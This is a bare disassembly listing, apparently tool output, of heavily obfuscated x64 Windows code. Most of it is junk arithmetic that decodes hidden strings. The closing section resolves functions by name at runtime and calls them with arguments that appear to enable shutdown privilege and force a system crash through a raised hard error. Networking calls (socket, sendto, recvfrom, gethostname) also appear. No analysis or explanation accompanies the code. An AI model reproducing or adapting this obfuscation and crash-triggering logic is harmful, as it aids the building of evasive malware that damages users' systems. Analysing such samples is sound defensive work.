add dil, 0x45
jmp 0x1400b9eb6
lea edx, [r9 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ba3ce
lea ecx, [r9 - 0x44]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x1400ba388
lea edx, [r9 - 8]
mov ecx, Ordinal_32
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ba330
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x1400ba29d
mov r11b, r9b
lea ecx, [r11 + 0x34]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x1400ba27e
lea edx, [r9 - 0x2e]
mov ecx, r13d
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ba30c
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1400ba2ef
mov r11b, r9b
lea ecx, [r11 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
jmp 0x1400ba2bd
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x1400ba038
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x1400b9f03
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400ba05b
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x1400ba3ce
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400ba082
lea edx, [r9 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ba362
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1400b9f03
mov r11b, r9b
lea edx, [r11 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ba2bd
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400ba0d6
mov r11b, r9b
lea ecx, [r11 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x69
jmp 0x1400ba2bd
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400ba0f9
lea ecx, [r9 + 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x17
jmp 0x1400ba2ef
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400ba11b
lea ecx, [r9 - 0x69]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r13b
jmp 0x1400ba29d
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1400ba13e
lea ecx, [r9 - 7]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x31
jmp 0x1400ba330
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400ba161
lea ecx, [r9 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x1400ba362
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1400b9eb6
lea ecx, [r9 + 0x1f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x27
jmp 0x1400ba3ce
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400ba19f
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x1400b9f3e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400ba1b6
lea edx, [r9 - 0x28]
mov ecx, ntohs
jmp 0x1400ba06d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400ba1d9
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x1400ba29d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400b9e77
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x1400ba2ef
mov byte [rbp + r9 - 0x59], dil
jmp 0x1400ba3da
mov r11b, r9b
mov dl, r9b
sub dl, sil
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 - 0x59]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
jmp 0x1400ba27e
lea ecx, [r9 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 - 0x59]
lea edi, [r8 + rcx]
sub dil, r12b
jmp 0x1400ba362
lea ecx, [r9 + 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x41
jmp 0x1400ba3ce
mov r11b, r9b
lea ecx, [r11 - 0x73]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x25
add r11b, 0x19
mov al, r8b
and al, r11b
add al, al
mov cl, dil
sub cl, al
add cl, 0x51
add cl, r8b
add cl, r11b
mov byte [rbp + r9 - 0x59], cl
add rbx, r10
jmp 0x1400ba330
mov r11b, r9b
lea ecx, [r11 + 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x2f
sub r11b, 0x49
mov al, r8b
and al, r11b
add al, al
sub r8b, al
dec r8b
add r8b, r11b
mov byte [rbp + r9 - 0x59], r8b
jmp 0x1400ba2ef
lea ecx, [r9 + 0x41]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x39
inc r10
jmp 0x1400ba30c
mov cl, r9b
sub cl, r13b
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x19
dec r9
jmp 0x1400ba3da
movabs rcx, 0xf01eccfb5375deb9
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0xf
movzx eax, dil
mov rcx, r14
sub rcx, rax
add r9, rcx
jmp 0x1400ba3da
movabs rcx, 0x1017f4c379cd7457
add rcx, r9
mov r8b, dl
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x61
lea edx, [r9 + 0x7b]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x5d
add cl, dl
movzx eax, cl
mov byte [rbp + r9 - 0x59], al
inc r10
add rax, r10
sub r9, rax
lea edx, [r9 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 - 0x59], cl
inc rbx
mov rax, r14
sub rax, rbx
add r9, rax
jmp 0x1400ba3ce
movabs rcx, 0x500a4453c67c9f93
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 5
movzx eax, byte [rbp + r9 - 0x59]
add rax, r10
add r9, rax
inc r9
jmp 0x1400b9b08
add r9b, 0x75
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x33
jmp 0x1400b9b05
add r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x7b
jmp 0x1400b9af5
lea rbx, [rbp + 0x153bc93]
jmp 0x1400ba430
lea rbx, [rbp + 0x67f1c4]
jmp 0x1400ba430
lea rbx, [rbp - 0x59]
lea rcx, [0x140255020]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov dword [rbp - 0x29], 0x70624d60
mov dword [rbp - 0x25], 0x17734079
mov dword [rbp - 0x21], 0x14744b7d
mov dword [rbp - 0x1d], 0x55555748
mov byte [rbp - 0x19], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x18], xmm0
mov byte [rbp - 8], al
mov r14b, gethostname
mov r15b, reloc.WLDAP32.dll_Ordinal_60
mov dil, byte [rbp + 0x27]
call fcn.14001acc4
mov rbx, qword [rax]
call fcn.14001accc
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x22
jae 0x1400bae6d
movzx r8d, byte [rbp + r9 - 0x29]
mov rdx, r8
cmp rbx, r9
ja 0x1400bae64
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400ba4dd
movabs rcx, 0x66a1df032d6fb8a3
add rcx, r9
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x75
jmp 0x1400ba50a
je 0x1400badf4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400bad86
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400bad5b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400bad23
cmp r10, r9
ja 0x1400bae5b
lea rax, [r10 + 0x40]
cmp rbx, rax
jae 0x1400ba533
lea ecx, [r9 + 0x5f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x67
jmp 0x1400ba581
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400bace5
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400bacce
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400bacb4
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400bac9a
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400bac80
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1400bac67
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1400baa26
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400baa09
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1400ba9ef
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1400ba9d5
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x1400ba9b8
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1400ba99a
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1400ba97c
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400ba95e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400ba940
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1400ba58e
lea rbx, [r10 + 6]
lea r10, [rbx + 0x40]
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1400bae40
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1400bae24
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1400ba755
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1400ba73b
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1400ba721
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x1400ba8f9
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1400ba8b6
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x1400ba87a
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1400ba85b
lea rbx, [r10 + 0x2a]
lea r10, [rbx + 0x80]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1400ba83f
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1400ba825
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1400ba80b
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1400ba7f1
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1400ba7d7
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1400ba7ba
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1400ba79e
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1400ba790
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1400ba76f
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1400ba58e
lea rbx, [r10 + 3]
lea r10, [rbx + 0x10]
jmp 0x1400ba58e
lea ecx, [r9 - 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x79
jmp 0x1400ba581
lea ecx, [r9 + 0x3b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x63
jmp 0x1400ba50a
lea ecx, [r9 - 0xb]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4d
jmp 0x1400ba4a5
lea edx, [r9 - 8]
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov r11b, r9b
jmp 0x1400bacfd
lea edx, [r9 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1400baacf
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400bad1b
lea ecx, [r9 + 0x26]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
mov r11b, r9b
jmp 0x1400bad3b
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x1400bad70
lea ecx, [r9 - 0x66]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
jmp 0x1400bad73
lea ecx, [r9 + 0x54]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x1400bada7
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
jmp 0x1400badcb
mov cl, r9b
sub cl, r14b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1400bae10
lea ecx, [r9 - 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2f
mov byte [rbp + r9 - 0x29], dil
jmp 0x1400bae1c
lea ecx, [r9 + 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x45
cmp r10, 0x3e8
jb 0x1400ba870
mov r11b, r9b
lea ecx, [r11 - 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx + rcx]
sub dil, r15b
jmp 0x1400bacfd
lea ecx, [r9 + 0xd]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5b
cmp rbx, 0x5a
jae 0x1400bac27
lea rax, [r10 + 6]
cmp rbx, rax
jbe 0x1400bab9a
lea ecx, [r9 + 0x36]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x1400ba88f
lea ecx, [r9 - 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x71
lea rax, [r10 + rbx]
cmp rax, 0x61
je 0x1400bac48
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x1400baae4
lea ecx, [r9 - 0x29]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1f
jmp 0x1400ba8cb
lea edx, [r9 - 0xc]
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400badcb
lea edx, [r9 - 0x52]
mov al, dl
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400bada7
lea edx, [r9 + 0x68]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400bad73
lea edx, [r9 + 0x22]
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400bad70
mov r11b, r9b
lea ecx, [r11 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x1400bad3b
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x1400bad1b
lea ecx, [r9 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1400bad18
mov r11b, r9b
lea ecx, [r11 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x1400bacfd
lea rax, [r10 + 0x2a]
cmp rbx, rax
jae 0x1400baa49
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x75
jmp 0x1400ba90e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400baa6c
lea ecx, [r9 - 0x42]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1400bae10
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400baa8f
lea ecx, [r9 + 4]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1400badcb
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400baab9
mov r11b, r9b
lea edx, [r11 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400bad3b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400ba90e
lea edx, [r9 - 0x58]
mov ecx, 0x34
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400bad18
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400bab0a
mov r11b, r9b
lea ecx, [r11 + 0x1d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x35
jmp 0x1400bacfd
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400bab2d
lea ecx, [r9 - 0x57]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x61
jmp 0x1400bad1b
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1400bab50
lea ecx, [r9 - 0x3f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x47
jmp 0x1400bada7
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400bab73
lea ecx, [r9 + 7]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x31
jmp 0x1400badcb
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400ba8cb
lea ecx, [r9 + 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1b
jmp 0x1400bae10
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400babbd
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x1400bae10
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400babdf
lea ecx, [r9 + 8]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x1400bada7
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400babf9
mov r11b, r9b
lea edx, [r11 - 0x26]
mov ecx, 5
jmp 0x1400baaa4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400ba88f
mov r11b, r9b
lea edx, [r11 - 0x54]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400bacfd
mov r11b, r9b
lea edx, [r14 + r11]
mov al, dl
and al, r8b
mov cl, byte [rbp + r9 - 0x29]
sub cl, al
add cl, r15b
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400bad3b
lea ecx, [r9 + 0x7e]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 - 0x29]
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x1400bada7
lea ecx, [r9 + 0x49]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
inc dil
jmp 0x1400bada7
lea ecx, [r9 + 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x15
jmp 0x1400bad73
lea ecx, [r9 - 0x43]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2b
jmp 0x1400bad70
mov r11b, r9b
lea ecx, [r11 + 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x41
jmp 0x1400bad3b
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x1400bad1b
mov r11b, r9b
lea ecx, [r11 - 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x7d
sub r11b, 0x6b
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x13
add r11b, r8b
mov byte [rbp + r9 - 0x29], r11b
inc r10
dec r9
jmp 0x1400bae1c
mov r11b, r9b
lea ecx, [r11 + 0x47]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xf
sub r11b, 0x25
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 3
add r11b, dil
add r11b, r8b
mov byte [rbp + r9 - 0x29], r11b
jmp 0x1400bad70
lea ecx, [r9 + 1]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 7
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1400bae1c
movabs rcx, 0xce6d19163e0e0c75
add rcx, r9
mov r8b, dl
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
sub dil, 0x33
add dil, cl
lea ecx, [r9 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x19
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 - 0x29], al
inc r10
add rax, r10
sub r9, rax
mov cl, r9b
sub cl, r15b
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x5c
add cl, r8b
mov byte [rbp + r9 - 0x29], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1400bae10
movabs rcx, 0x33e59d09884f29e9
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x5f
movzx eax, byte [rbp + r9 - 0x29]
add rax, r10
add r9, rax
inc r9
jmp 0x1400ba495
sub r9b, 0x51
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
add dil, 0x37
jmp 0x1400ba492
add r9b, 0x69
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
add dil, r13b
jmp 0x1400ba482
lea rbx, [rbp + 0x1500d5b]
jmp 0x1400bae71
lea rbx, [rbp + 0x13fc5fe]
jmp 0x1400bae71
lea rbx, [rbp - 0x29]
lea rcx, [0x140255020]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rbp + 0x27]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rsi
lea rax, [rbp + 0x2b]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rbx
nop
mov rax, qword [rbp + 0xf]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x5f]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14012ce10
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret